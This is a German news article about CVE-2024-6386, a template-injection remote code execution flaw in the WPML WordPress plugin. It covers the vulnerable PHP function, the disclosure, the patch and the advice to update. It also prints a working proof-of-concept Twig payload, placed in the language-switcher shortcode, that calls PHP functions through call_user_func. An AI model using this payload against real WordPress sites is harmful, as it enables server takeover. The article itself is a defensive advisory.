Eine Sicherheitslücke im WPML-Plugin (WordPress Multilingual) hat über eine Million WordPress-Websites einem hohen Risiko ausgesetzt. Angreifer könnten die Schwachstelle ausnutzen, um über Remote Code Execution (RCE) beliebigen Code auf den betroffenen Servern auszuführen und so die vollständige Kontrolle über die Websites zu erlangen.

Die Sicherheitslücke, bekannt als CVE-2024-6386, betrifft alle Versionen des WPML-Plugins bis einschließlich Version 4.6.12. Besonders gefährdet sind WordPress-Seiten, bei denen Benutzer mit Contributor- oder höheren Rechten Zugriff haben, da diese die Schwachstelle ausnutzen können.

Die Entdeckung dieser Schwachstelle geht auf einen Sicherheitsforscher zurück, der sich unter dem Namen „stealth copter“ einen Namen gemacht hat. Er meldete das Problem verantwortungsvoll über das Wordfence Bug Bounty-Programm und erhielt dafür eine Belohnung von 1.639 US-Dollar.

Technische Analyse

Das Problem liegt in der fehlenden Validierung und Bereinigung von Benutzereingaben bei der Nutzung von Twig, einer beliebten Template-Engine. Konkret betrifft die Schwachstelle die Funktion render() in der Klasse WPML_LS_Public_API, die Benutzervorlagen ohne ausreichende Sicherheitsmaßnahmen verarbeitet.

Durch diese Lücke können Angreifer serverseitige Template-Injection-Angriffe durchführen und schädlichen Code ausführen.

phpCode kopierenprotected function render( $args, $twig_template = null ) {
    $defaults_slot_args = $this->get_default_slot_args( $args );
    $slot_args = array_merge( $defaults_slot_args, $args );
    $slot = $this->get_slot_factory()->get_slot( $slot_args );
    $slot->set( 'show', 1 );
    $slot->set( 'template_string', $twig_template );
    if ( $slot->is_post_translations() ) {
        $output = $this->render->post_translations_label( $slot );
    } else {
        $output = $this->render->render( $slot );
    }
    return $output;
}

Diese Funktion versäumt es, die Twig-Vorlage zu bereinigen, was es Angreifern ermöglicht, schädliche PHP-Funktionen einzuschleusen und auszuführen.

Proof-of-Concept-Exploit

Ein Proof-of-Concept-Exploit zeigt, wie diese Schwachstelle ausgenutzt werden kann. Mit dem Shortcode „[wpml_language_switcher]“ können Angreifer Twig-Code einschleusen, der PHP-Funktionen wie phpinfo() ausführt und so sensible Serverinformationen preisgibt.

[wpml_language_switcher]
{% set call_user_func = c~a~l~l~_~u~s~e~r~_~f~u~n~c %}
{% set phpinfo = p~h~p~i~n~f~o %}
{{ {1: phpinfo}|filter(call_user_func) }}
[/wpml_language_switcher]

Dieses Beispiel zeigt, wie Angreifer die filter-Funktion von Twig nutzen können, um schädlichen Code auszuführen.

Wordfence reagierte schnell und veröffentlichte am 27. Juni 2024 eine Firewall-Regel, die Premium-Nutzer schützt. Einen Monat später erhielten auch die Nutzer der kostenlosen Version diesen Schutz. Trotz anfänglicher Kommunikationsschwierigkeiten hat das WPML-Entwicklungsteam am 20. August 2024 mit der Version 4.6.13 einen Patch bereitgestellt, der die Schwachstelle behebt.

Dringende Handlungsempfehlung

Benutzern wird dringend empfohlen, auf die neueste Version des WPML-Plugins zu aktualisieren, um das Risiko eines Angriffs zu minimieren. Die hohe CVSS-Bewertung von 9.9 unterstreicht die Dringlichkeit dieses Updates. Dieser Vorfall zeigt erneut, wie wichtig es ist, robuste Sicherheitspraktiken zu implementieren und Plugins regelmäßig zu aktualisieren, um die Sicherheit in der WordPress-Umgebung zu gewährleisten.

Mit der zunehmenden Komplexität von Plugins erinnern Vorfälle wie dieser die Benutzer daran, wachsam zu bleiben und proaktiv für die Sicherheit ihrer Websites zu sorgen.